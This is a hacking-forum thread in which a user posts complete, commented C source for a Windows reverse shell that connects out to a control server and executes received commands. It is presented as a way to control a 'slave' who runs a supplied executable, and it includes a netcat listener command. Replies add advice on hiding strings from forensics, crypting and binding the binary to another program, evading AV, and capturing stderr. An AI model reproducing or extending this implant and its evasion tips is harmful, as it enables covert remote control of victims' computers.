Login Register






Tutorial Source Code Tutorial - Simple Reverse Shell in C filter_list
Author
Message
Source Code Tutorial - Simple Reverse Shell in C #1
Well, it looks like my first real contribution to SL. Enjoy!
Its basically just commented code. So you read down the code and comments like a tutorial.

NOTE: This currently only targets Windows, but that may change soon.

Below is a simple explanation of sockets and reverse shells for the beginners.
Spoiler:
So, what exactly is a reverse shell and why do I need it? Well, to begin, a shell is, for those of you who don’t know: a program (basically) that receives a command with arguments that the shell in turn tells the computer what to do. A remote shell is one where a computer is controlled by a shell through the net on another machine.

Let’s setup our situation: we are the hacker and we have a computer user that will run any executable that we give him. We want to setup a remote shell on our “slave” so we can connect and control it, but we know that in order to set up a remote shell, we have to start a remote shell service on their machine ... but that will most likely be blocked by the firewall. Well, how do we get around that? Why of course, if the firewall blocks incoming connections but allows outgoing connections (and outgoing connection for example is: browsing the web) then we can have our exe connect back to a server waiting on our machine that will give us shell access to our slave. Evil

There is this useful networking program called netcat. It is older and meant for Linux, but it still works well and there is even a version for Windows. For what we need, netcat can listen for connections on a specific port and it can also make connections and requests to a specified server. Netcat would work to create a reverse tcp shell, but the netcat program is unneedingly large and detected by many AVs. So, we will use netcat simply as the controller on our machine.

The building block for networking is the socket. Let’s say you have a server, the socket is like a bridge, the bridge connects your server (an island) to the mainland (the internet). If someone wants to access something on your server, they use the bridge you have put in place. You can have multiple bridges connecting your island to the mainland, each providing different services.

For Windows, to use sockets, we must use the Winsock2 library. It has a pretty simple API for what we will use, so don’t be intimidated. Our reverse shell program will work like the simple diagram below:
  • create a socket
  • connect our socket to the control server
  • LOOP BELOW TILL DONE:
  • ----------------------------------------
  • process data sent to you
  • execute the data in the shell
  • send results back to control server
  • ----------------------------------------
  • close socket connection


^ don't mind the colors, they're just to brighten things up a bit Tongue

Code:
/* Source Code Tutorial - Simple Reverse Shell in C */ // get all our needed libraries ready #include <stdio.h> #include <strings.h> #include <winsock2.h> #pragma comment(lib, "ws2_32.lib") // simple function that returns the output file returned from executing `cmd` in the shell FILE *execcmd(char *cmd) { FILE *fp = popen(cmd, "r"); return fp; } int s_send(s, msg) { return send(s, msg, strlen(msg), 0); } int main(int argc , char *argv[]) { // simple constants that hold the port and address on which the control server is listening const char HOST[] = "127.0.0.1"; const int PORT = 509; // variables for our socket WSADATA wsa; SOCKET s; // `sockaddr_in` is a struct that stores information about our control server struct sockaddr_in server; int recv_size; // stuff for the command we will receive const int CMD_SIZE = 2048; char cmd[CMD_SIZE]; // the outputted file from the shell FILE *out_fp = NULL; // one line of the shell output char out[CMD_SIZE]; // get Winsock ready for use; you don't need to understand this printf("\nInitializing Winsock..."); if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) { printf("Failed: %d", WSAGetLastError()); WSACleanup(); return 1; } else { printf("Initialized.\n"); } // create the Winsock socket if((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) { printf("Could not create socket: %d" , WSAGetLastError()); return 1; } printf("Socket created.\n"); // set the our `server` host, type, and port server.sin_addr.s_addr = inet_addr(HOST); server.sin_family = AF_INET; server.sin_port = htons(PORT); // connect to the control server if (connect(s, (struct sockaddr *)&server, sizeof(server)) < 0) { puts("Connection error."); return 1; } puts("Connected"); while(1) { // receive the control server's command if((recv_size = recv(s, cmd, CMD_SIZE, 0)) == SOCKET_ERROR) { if(s_send(s, "Last input was not received.") < 0) { puts("Send failed"); return 1; } } else { // add a NULL terminating character to the end of `cmd` buffer to make it a proper string (won’t print properly without it) cmd[recv_size] = '\0'; puts(cmd); // execute the control command in our shell out_fp = execcmd(cmd); // send each line from the command output to the control server while (fgets(out, CMD_SIZE, out_fp) != NULL) { if(s_send(s, out) < 0) { puts("Send failed"); return 1; } } } pclose(out_fp); } return 0; }

To test it out, run netcat on localhost listening to port 509 and then execute your reverse shell program.
Code:
nc -l -p 509

[+] 1 user Likes m0dem's post
Reply

RE: Source Code Tutorial - Simple Reverse Shell in C #2
Not multiplatform, only works on windows because lolwinsocks, you could make it smaller and multiplatform but it's nice for a first project, i'd also use argv[] instead of hardcoded variables, two reasons:

1. Ease of use
2. "Anti-Forensics" you know your malware sucks when you can run strings and see all the info on it, sure you could monitor traffic but it's a step in the right direction

If you want some ideas:

1. Multiplatform
2. Encrypted Traffic or Password Login (Wouldn't be too hard just be careful to sanatize input)

You've mitigated a few issues here, nice one, not vulnerable to anything I can see, I'd like to see future developments c: Good work
i dont know anything

Reply

RE: Source Code Tutorial - Simple Reverse Shell in C #3
(10-09-2015, 12:52 PM)Penis Wrote: Not multiplatform, only works on windows because lolwinsocks, you could make it smaller and multiplatform but it's nice for a first project, i'd also use argv[] instead of hardcoded variables, two reasons:

1. Ease of use
2. "Anti-Forensics" you know your malware sucks when you can run strings and see all the info on it, sure you could monitor traffic but it's a step in the right direction

If you want some ideas:

1. Multiplatform
2. Encrypted Traffic or Password Login (Wouldn't be too hard just be careful to sanatize input)

You've mitigated a few issues here, nice one, not vulnerable to anything I can see, I'd like to see future developments c: Good work

I have targeted Windows because it is the operating system used by the majority of desktop computers, but I will be sure to specify the targeted platform above. So I may or may not change that. SOURCE
I did not think of using command line arguments, but would it even be possible to use arguments if this reverse shell was bound and crypted to another program?
I did think of control server authentication, but I didn't think to add it to this simple example program, but I will probably add it.
Encryption sounds cool, I will look into that!
Thanks for the suggestions and feedback! Smile

Woops, I just realized that I put this in the Coding sub-section. @Oni or @Eclipse, should it be put in the C/C++ sub-section? I don't know if it would be more correct?
(This post was last modified: 10-09-2015, 03:51 PM by m0dem.)

Reply

RE: Source Code Tutorial - Simple Reverse Shell in C #4
(10-09-2015, 03:04 PM)m0dem Wrote: I have targeted Windows because it is the operating system used by the majority of desktop computers, but I will be sure to specify the targeted platform above. So I may or may not change that. SOURCE
I did not think of using command line arguments, but would it even be possible to use arguments if this reverse shell was bound and crypted to another program?
I did think of control server authentication, but I didn't think to add it to this simple example program, but I will probably add it.
Encryption sounds cool, I will look into that!
Thanks for the suggestions and feedback! Smile

Woops, I just realized that I put this in the Coding sub-section. @Oni or @Eclipse, should it be put in the C/C++ sub-section? I don't know if it would be more correct?

Something like this wouldn't really need to be crypted, Your main worry is behavoural analysis or network traffic analysis.
i dont know anything

Reply

RE: Source Code Tutorial - Simple Reverse Shell in C #5
I want to take note of two issues:
  1. errors are not sent over the connection
  2. you can't change your directory
My solutions are:
  1. append `2>&1` to the end of the command
  2. prepend a command to change the directory for the second command
For example, if the user previously changed the directory to `mydir` and the current command was something like `mkdir test`, then the command executed would be:
Code:
cd mydir & mkdir test 2>&1
explanation: `2>&1` should pass the stderr output into stdout

I will try to implement my solutions soon.

Reply

RE: Source Code Tutorial - Simple Reverse Shell in C #6
(10-10-2015, 04:05 AM)m0dem Wrote: I want to take note of two issues:
  1. errors are not sent over the connection
  2. you can't change your directory
My solutions are:
  1. append `2>&1` to the end of the command
  2. prepend a command to change the directory for the second command
For example, if the user previously changed the directory to `mydir` and the current command was something like `mkdir test`, then the command executed would be:
Code:
cd mydir & mkdir test 2>&1
explanation: `2>&1` should pass the stderr output into stdout

I will try to implement my solutions soon.

2. Is a really hacky fix, you should properly allocate the file descriptors, unsure if it works the same way as it does on *nix but if so piping stderr to stdout just out of practice is in my oppinion a bad idea.
i dont know anything

Reply

RE: Source Code Tutorial - Simple Reverse Shell in C #7
(10-10-2015, 10:49 PM)Penis Wrote: 2. Is a really hacky fix, you should properly allocate the file descriptors, unsure if it works the same way as it does on *nix but if so piping stderr to stdout just out of practice is in my oppinion a bad idea.

Ok, may I ask how to "allocate the file descriptors"? Is there like a function that you could reference me to? Thanks.

Reply

RE: Source Code Tutorial - Simple Reverse Shell in C #8
(10-11-2015, 01:35 PM)m0dem Wrote: Ok, may I ask how to "allocate the file descriptors"? Is there like a function that you could reference me to? Thanks.

If it were me I'd use dup2($object, $fd); but I'm not sure it's the same in windows, as I said I don't mess with windows much, a quick google revealed a POSIX compliant (and deprecated) function in C++ called dup2(); you should use the ISO C++ conforming function _dup or _dup2.

I don't think there's anything wrong with the ghetto piping fix, just always seemed cleaner and nicer to me to allocate the correct fds.

Also in my original post I meant to say 1. was a hacky fix, what exactly is the issue with 2? Not cding? cd is a bash built in (and probably windows builtin too (comes w/ cmd.exe)) so it should just work, my thoughts are that you're sending each command as an arguement to cmd.exe and not starting a session (which is a better and cleaner idea once again) if you started a session and sent it back over local variables would persist, things like current working directory or the PS1 (think that only applys to powershell). That reminds me powershell > cmd, use it Smile
i dont know anything

Reply

RE: Source Code Tutorial - Simple Reverse Shell in C #9
It's good just not good enough..
Using popen isn't bad since you can't get stderr which is simply bad because it's a lack of information returned by the reverse shell, the proper way to do this is to create pipes manually instead of relying on popen.
It also doesn't support the cd command which is good.
Let me also point out this "const char HOST[20] = "127.0.0.1";" where there's no point of defining the size of HOST.
I barely took a look at the code but I believe it gets the job done, at least someone is sharing something over here...

Reply

RE: Source Code Tutorial - Simple Reverse Shell in C #10
(10-09-2015, 12:52 PM)Penis Wrote: Not multiplatform, only works on windows because lolwinsocks, you could make it smaller and multiplatform but it's nice for a first project, i'd also use argv[] instead of hardcoded variables, two reasons:

1. Ease of use
2. "Anti-Forensics" you know your malware sucks when you can run strings and see all the info on it, sure you could monitor traffic but it's a step in the right direction

If you want some ideas:

1. Multiplatform
2. Encrypted Traffic or Password Login (Wouldn't be too hard just be careful to sanatize input)

You've mitigated a few issues here, nice one, not vulnerable to anything I can see, I'd like to see future developments c: Good work

You can hardcode data and still not have string data show up with a program like strings if you encode it as integers or encrypt the string first, and at runtime decrypt them. Strings will not execute your binary to determine what the strings actually are, so it would require some debugging at that point.

Although this is actually very horribly written code to begin with...

(10-10-2015, 10:49 PM)Penis Wrote: 2. Is a really hacky fix, you should properly allocate the file descriptors, unsure if it works the same way as it does on *nix but if so piping stderr to stdout just out of practice is in my oppinion a bad idea.

Exactly, and furthermore stdout is typically buffered, whereas stderr isn't for obvious reasons.

(10-11-2015, 08:45 PM)dotcppfile Wrote: It's good just not good enough..
Using popen isn't bad since you can't get stderr which is simply bad because it's a lack of information returned by the reverse shell, the proper way to do this is to create pipes manually instead of relying on popen.
It also doesn't support the cd command which is good.
Let me also point out this "const char HOST[20] = "127.0.0.1";" where there's no point of defining the size of HOST.
I barely took a look at the code but I believe it gets the job done, at least someone is sharing something over here...

In addition to the size of HOST being 20, what's the point, even the longest IPv4 address can be 15 characters in length, so the buffer will never have to be any larger than 16.
(This post was last modified: 10-12-2015, 11:38 PM by 0xDEAD10CC.)

[+] 1 user Likes 0xDEAD10CC's post
Reply